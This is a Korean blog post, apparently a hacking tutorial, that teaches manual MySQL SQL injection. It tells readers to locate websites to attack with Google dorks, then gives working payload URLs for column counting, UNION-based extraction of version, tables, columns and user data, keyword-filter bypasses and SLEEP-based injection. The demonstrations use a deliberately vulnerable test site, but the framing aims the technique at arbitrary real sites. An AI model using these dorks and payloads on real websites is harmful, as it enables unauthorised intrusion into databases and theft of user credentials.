2017. 11. 12.

[웹 취약점] SQL Injection 수동 공격 -1 (mysql)

# 취약 웹 사이트 찾기

첫 번째 순서는 당연히 공격 할 웹사이트를 찾는 것이다. 많은 방법이 있겠지만 dorks 를 이용 하는 것이다.

1) dorks

dorks 는 구글 검색 엔진에 입력하는 쿼리문이다. 이 쿼리 문이 포함되어 있는 웹 사이트를 찾기위해 사용된다. 
상세한 정의는 "Advanced Google searches used to find security loopholes on websites and allow hackers to break into or disrupt the site" 라고 한다. (from 1337mir)

  • 2017 dork list - https://hackingvision.com/2017/04/14/google-dorks-list-2017-sqli/

요즘은 기본적으로, dork 이 하는 것은 google의 "inurl" 을 통해 특정 취약한 url 을 반환하는 것이다. 'inurl' 명령어는 검색어가 포함된 URL 및 웹 문서를 찾아준다. 'inurl:검색어1 검색어2'와 같은 방식이다. 
아래 에 몇몇의 dorks 가 있다.

inurl:"products.php?prodID="
inurl:buy.php?category=
("" 를 사용하면, 쌍따옴표 안의 문자열을 하나로 인식하여 더 정확하게 검색이 된다.)
많은 검색어가 도출되긴하지만 대부분은 취약하지 않을 것이다. 

# 검색 결과에서 취약 여부 판별하기
매우 간단하다. www.site.com/products.php?prodID=25 에서 25 대신에 '를 입력해 보는 것이다. 취약하다면 NOT FOUND, Table, Database, Row, Column, Sql, Mysql  등 데이터베이스와 관련된 에러페이지가 노출된다. 어떤 것은 에러페이지는 나오지 않지만 페이지가 비정상적으로 출력되는 경우도 있다.

취약 url 을 발견하였으면. 컬럼과 줄 넘버를 찾아야 한다. 

# 컬럼 / 줄 넘버 찾기
테이블에서 컬럼 개수를 찾아야 한다. 그러기 위해서, 테스트와 에러 메소드가 필요하다. 그리고 계속 컬럼 수를 증가시키면서 에러 메시지가 확인 될 때 까지 구문을 실행해 본다. 

www.site.com/products.php?prodID=25+order+by+1

효과적으로,  order by 1 을 기존 url 뒤에 추가시킨다. 만약 테이블에 컬럼이 1개 밖에 없다면, 페이지가 정상적으로 출력될 것이다. 그러나 그게 아니라면, 에러가 출력될 것이다. 에러가 노출되는 한 계속 컬럼 수를 늘려가면서 점검 할 수 있다. 
다음의 페이지에서도 에러가 나온다고 가정해보자 
www.site.com/products.php?prodID=25+order+by+6

그 말은 해당 페이지(테이블?) 에는 5개의 컬럼이 있으며, 데이터베이스는 6 으로 요청한 쿼리를 처리할 수 없다는 의미이다. 즉 다음 2가지 사실을 확인 할 수 있다.

  • 사이트는 SQL 인젝션에 취약하다.
  • 5개의 컬럼을 가지고 있다.
이제는 어떤 컬럼이 취약한지 알아야 한다.

# 취약한 컬럼 찾기
우리는 가상의 www.site.com 사이트를 운영하고 있고, 여기에는 5개의 컬럼이 있고 추정해보자. 이제 이 중 어떤 컬럼이 취약한지 알아보도록 한다. 취약한 컬럼을 이 있음으로서, URL를 통해 커맨드/쿼리를 SQL 데이터베이스에 전달하는 것이다. 
본격적으로 찾아보기 위해, 다음의 URL 을 입력한다. 

www.site.com/products.php?prodID=25+union+select+1,2,3,4,5

몇몇 케이스에는 25뒤에 - (그러니까 25가 아니라 -25로 진행하라는 말)를 넣어야 할 수도 있다. 어딘가에서 보여지는 숫자를 제외하고 정상적으로 로드될 것이다. 이것이 취약한 컬럼들이다. 적어 두어야 한다. 

만약 페이지를 리프레쉬 하고 2가 페이지에 표시된다면, 2는 인젝션 공격을 수행 할 취약한 컬럼이다. 



http://testphp.vulnweb.com/listproducts.php?cat=1' 파라미터에 홑따옴표 (') 를 입력하면 에러가 출력된다. 이로서 해당 URL 이 SQLI 공격에 취약한 것을 확인되었다. 이제 컬럼수를 확인 해야 한다.

10, 11에서는 문제없다가 12 컬럼에서 에러가 발생한다. 즉, 전체 컬럼 갯수가 11개라는 것이다. 이제 취약한 컬럼을 찾기 위해 다음의 URL 을 입력한다. 

http://testphp.vulnweb.com/listproducts.php?cat=1+union+select+1,2,3,4,5,6,7,8,9,10,11
(union all 을 이용한 다른 방법
http://testphp.vulnweb.com/listproducts.php?cat=1%20AND%201=1%20UNION%20ALL%20SELECT%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL#

// 11개의 NULL 패턴 삽입 시 에러가 발생하지 않기 때문에 해당 테이블 필드는 11개로 짐작할 수 있다.

에러 페이지가 출력되지 않는다. 이전에 말한 것처럼 cat= 이후에 마이너스 기호(-)를 추가시키고 다시 실행해본다. (FALSE 를 유발하기 위함이기 때문에 cat =1 and 1=0 으로 해도 결과는 동일하다. )
(11,7,2,9 숫자가 노출 되는 것을 확인 할 수 있다. 어렵지 않게 발견 할 수 있다. 이것이 취약한 컬럼이다)


숫자가 노출되는 칼럼의 자리에 user() 라는 함수를 입력해보면 위와 같은 결과를 확인 할 수 있다.


위에서 다시 마이너스를 빼고 시도해보고 스크롤을 내려보면 아래와 같이 발견된다.


이를 비교해보면 숫자 11만이 에러페이지에서 나오는 컬럼이며, 이 컬럼이 취약한 컬럼이라고 결론지을 수 있다. 이러한 추론은 해킹을 아주 흥미롭게 만든다.
이제 우리는 SQL 버전을 알아야 한다. 이건 때때로 굉장히 어렵다. 그러나 이번에는 아니길 희망한다. 

취약한 컬럼이 11이기 때문에 11 대신에 @@version 을 입력하여 아래와 같이 url 입력한다.

http://testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,@@version

(
아래 구문으로도 버전정보를 확인 할 수 있다.
http://testphp.vulnweb.com/listproducts.php?cat=1%20and%20ExtractValue(1,version())

서버는 SQL 버전 5.1.73 버전을 사용하고 있다. 대부분이 MySQL 일 것이다. 또한 OS 역시 우분투인 것을 확인 할 수 있다.
이는 때때로 아주 곤욕스러운 일일 수도 있다. 가끔 @@version 커맨드가 안먹힐 때도 있는데 그럴때는 @@version 대신 convert(@@version using latin1) 또는 unhex(hex(@@version)) 을 입력해야 한다.

이제 정보수집 단계는 끝이 났다. 이제 실제 테이블을 다운로드 할 차례이다. 데이터베이스, 테이블, 서버 등 지금까지 얻은 정보를 적어놓는다. 지금까지 튜토리얼을 잘 따라왔다면, 분명 성취감을 느꼈을 것이다.

SQL 데이터베이스로부터 테이블 추출하기

DB로부터 데이터 추출하는 것은 버전에 따라 달라진다. 다행히 5버전이 다소 쉽다. 테이블에 관한 모든 데이터는 정보 스키마에 나타난다. 이것이 우리가 처음으로 볼 것이다. 우리가 취약한 쿼리를 찾을때 사용했던 쿼리에서(testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,11) 취약한 컬럼에서 테이블 명으로 대체하고 from+information_schema.tables를 덧 붙일 것이다. url 은 다음과 같다.


(위 이미지와 같이 쿼리를 사용하는것..)

http://testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,table_name+from+information_schema.tables

보다시피 한개의 테이블 이름 밖에 확인 되지 않는다. table_name 을 group_concat(table_name) 으로 바꿔서 입력해보자




우리는 모든 테이블명을 얻게 되었다.
- CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,ENGINES,EVENTS,FILES,GLOBAL_STATUS,GLOBAL_VARIABLES,KEY_COLUMN_USAGE,PARTITIONS,PLUGINS,PROCESSLIST,PROFILING,REFERENTIAL_CONSTRAINTS,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,SESSION_STATUS,SESSION_VARIABLES,STATISTICS,TABLES,TABLE_CONSTRAINTS,TABLE_PRIVIL


그런데 보다시피, 마지막 테이블 명이 불완전하다. 이것을 완전히 하기 위해서, url  을 다음처럼 수정해야 한다.

http://testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,group_concat(table_name)+from+information_schema.tables+where+table_schema=database()
(정확히 이해되지는 않지만, 기본 테이블 말고 신규로 작성된 테이블만을 추출 하는 듯)



위 테이블을 대상으로 작업 진행하면 된다. 보통 users 를 타겟으로 삼는다.

users 테이블의 컬럼을 찾는다.

http://testphp.vulnweb.com/listproducts.php?cat=-1%20union%20select%201,2,%203,4,5,6,7,8,9,10,%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27#



http://testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,%20group_concat(name)+from+users



컬럼명 얻기

information_schema.tables 대신 information_schema.columns 사용하고 같은 그룹 concat 을 사용하는 것 대신에 멀티 columns 를 얻는 것을 제외하고 테이블명 얻을때처럼 유사하다.  또한 어떤 테이블을 헥사로 명시해야 할 것이다. 우리는 EVENTS  테이블을 사용할 것이다(위에서도 역시 진하게 표시해두었다. 대소문자 주의!) hex 값으로 이는 4556454e5453 이다.  (테이블은 대문자로 EVENTS 이다. hex convertor 이용) 헥사 값으로 입력하지 않으면오류가 발생한다.  헥사로 입력하거나 아니면 'EVENTS' 와 같이 입력하면 오류 발생안한다.

URL 은 다음과 같다.

http://testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,group_concat(column_name)+from+information_schema.columns+where+table_name=0x4556454e5453




컬럼에서 데이터 추출하기
지금까지 수행했던 패턴을 동일하게 이용할 것이다. 취약한 컬럼(11) 대신 table_name 을 우선 넣고, column_name 을 넣는다. 지금 우리는 우리가 데이터를 얻으려고 하는 컬럼 명을 넣을 것이다. 위의 EVENT_CATALOG 에서 데이터를 추출하려고 한다고 가정해보자. 다음처럼 URL 이 될 것이다.

http://testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,EVENT_CATALOG+from+information_schema.EVENTS



화면에 아무것도 보이지 않는다. 쿼리는 제대로 작동한 것이다. 테이블에 실제로 아무것도 없기 때문이다.

그러나 우리의 운은 끝내 우리를 배신했다. 모든 시간을 빈 테이블을 조회하는데 허비했다. 그래서 지금은 다른 테이블을 살펴보아야 한다. 그리고 어떤 컬럼을 테이블이 가지고 있는지 살펴보아야 한다.

그래서 리스트에서 첫번째 테이블 CHARACTER_SETS 과 첫번째 컬럼 CHARACTER_SET_NAME을 살펴보았다.
최종 코드는 다음과 같다.

http://testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,group_concat(CHARACTER_SET_NAME)+from+information_schema.CHARACTER_SETS


이 테이블은 다수의 데이터를 보유하고 있다. 모든 character_sets 명을 얻었다. 유사항 방법으로 다른 테이블과 컬럼을 진행할 수 있다. USERS 테이블과 USERNAME 컬럼, PASSWORD 컬럼을 살펴보는것은 더욱더 흥미로운 일일 것이다.  한번에 다수의 컬럼을 출력하여 보다 좋은 방법으로 결과를 정리하는 방법을 보여줄 것이다. 이 쿼리는 4개의 컬럼으로부터 데이터를 반환할 것이며 각각은 콜론(:)으로 구별된다. 여기서 콜론(:)은 헥사값으로 변환되어 0x3a 으로 표시된다.

http://testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,group_concat(CHARACTER_SET_NAME,0x3a,DEFAULT_COLLATE_NAME,0x3a,DESCRIPTION,0x3a,MAXLEN)+from+information_schema.CHARACTER_SETS

지금까지 어떠한 툴도 사용하지 않고, 가장 힘든 방식으로 sql injection 공격을 수행했다. 다음 포스트에서는 툴을 사용하여 간단한 방법으로 공격을 수행해 볼 것이다. 그러나 실제 구동 원리를 모르고 툴을 사용하는 것은 다소 무의미 할 것이다.

** SQL Injection 필터링

  1) 키워드 필터링 시
   - select, union 등 키워드 우회
   -> SeLEct
   -> s%E%l%e%c%T
   -> selselectect

   - or, and, = 등 필터링 시
      -> ^, |, & 사용
      -> like, between 사용

   - ' 필터링 시 문자열 조립
      -> char(0x41) + char(0x48)

   - 공백 필터링
      -> /**/, %20, %2b, + , %09 등


----------------------------

mysql 취약점이 의심스러운 부분에 ' 등 에러를 유발한다


blind 공격 시도한다
id=1 and 1=1
id=1 and 1=0
id=-1
(경우의 수가 있으니
id=1' and '1'='1 등 다양하게 시도해본다.

취약점이 확인되면

컬럼갯수를 확인한다. (union 구문을 실행하기 위해!)

how?

1-1) order by 문 사용

order by 1 는 몇 번째를 기준으로 정렬하는거니까..
만약 order by 4에서 에러가 발생하면 컬럼이 3개 있다는 것이다.

1-2) NULL 패턴 삽입

http://testphp.vulnweb.com/listproducts.php?cat=-1+union%20all%20select%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL#
// 에러페이지 없이 널이 삽입되는 개수만큼 컬럼이 있다는 뜻

2) 컬럼갯수를 확인했으면 union 을 이용해서 취약한 컬럼을 파악한다.

http://testphp.vulnweb.com/listproducts.php?cat=1%20union%20select%201,2,3,4,5,6,7,8,9,10,11 (true 일때)

http://testphp.vulnweb.com/listproducts.php?cat=-1%20union%20select%201,2,3,4,5,6,7,8,9,10,11 (false 일때)


이렇게 확인하여 화면에 컬럼이 노출되는지 확인한다.


3) 취약한 컬럼을 확인했으면 해당자리에서 정보를 찾는다
@@version
user()

그리고 false 일때 나오는 컬럼을 찾는다.(11)
http://testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,group_concat(table_name)+from+information_schema.tables

여기가 핵심 공격 부분이다.

4) 테이블 정보를 본다.
cat=-1 union select 1,2,3,4,5,6,7,8,9,10,table_name from information_schema.tables (여기서 유효한 중요할것 같은 테이블을 찾는다..)

만약 결과가 하나밖에 안나오면 table_name 대신 group_concat(table_name) 을 입력한다

컬럼정보를 본다
cat=-1 union select 1,2,3,4,5,6,7,8,9,10,group_concat(column_name) from information.schema.columns

데이터를 추출한다.

cat=-2 union select 1,2,3,4,5,6,7,8,9,10,group_concat(character_set_name) from information.schema.character_sets

----------------------
XML 오류 페이지에서 SQL 시도하기

http://testphp.vulnweb.com/AJAX/infoartist.php?id=1


동일 한 방법으로 order by 로 컬럼개수 알아내고, union 함수로 버전 정보 출력 할 수 있음

http://testphp.vulnweb.com/AJAX/infoartist.php?id=-1%20union%20select%20null,@@version,null#

** stacked queries ( mysql/php 기반에는 지원하지 않음)

  • id=1; SELECT SLEEP(5)# 
  • id=1; (SELECT * FROM (SELECT(SLEEP(5)))CkCn)#


# 참조
  • SQL Injection - https://www.youtube.com/watch?v=eMgsnhxMaRk
  • http://www.kalitutorials.net/2014/03/hacking-websites-using-sql-injection.html

Popular Posts

Recent Posts

Powered by Blogger.